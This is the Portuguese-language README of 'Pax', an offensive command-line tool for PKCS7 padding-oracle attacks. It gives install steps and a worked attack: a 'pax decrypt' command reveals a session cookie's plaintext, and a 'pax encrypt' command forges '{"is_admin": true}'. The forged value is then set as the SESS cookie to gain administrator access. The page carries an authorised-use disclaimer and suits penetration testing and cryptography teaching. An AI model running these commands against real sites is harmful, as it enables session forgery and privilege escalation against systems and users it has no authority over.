
💀 🔓 Ferramenta de CLI para ataques de oracle de preenchimento PKCS7
Explore oráculos de padding para diversão e lucro!
Pax (PAdding oracle eXploiter) é uma ferramenta para explorar oráculos de padding com o objetivo de:
Isso pode ser usado para revelar informações de sessão criptografadas e, frequentemente, para ignorar autenticação, elevar privilégios e executar código remotamente, criptografando texto simples personalizado e escrevendo-o de volta no servidor.
Como sempre, esta ferramenta deve ser usada apenas em sistemas que você possui e/ou tem permissão para testar!
Baixe a partir dos releases, ou instale com Go:
go get -u github.com/liamg/pax/cmd/pax
Se você encontrar um possível oráculo, onde os dados criptografados estão armazenados dentro de um cookie chamado SESS, você pode usar o seguinte:
pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"
Isso provavelmente lhe dará algum texto simples, talvez algo como:
{"user_id": 456, "is_admin": false}
Parece que você pode elevar seus privilégios aqui!
Você pode tentar fazer isso primeiro gerando seus próprios dados criptografados que o oráculo descriptografará de volta para algum texto simples sorrateiro:
pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'
Isso produzirá um outro conjunto de dados criptografados codificados em base64, talvez algo como:
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Agora você pode abrir seu navegador e definir o valor do cookie SESS para o valor acima. Carregando a página do oráculo original, você deve ver que foi elevado ao nível de administrador.
Os seguintes são ótimos guias sobre como esse ataque funciona: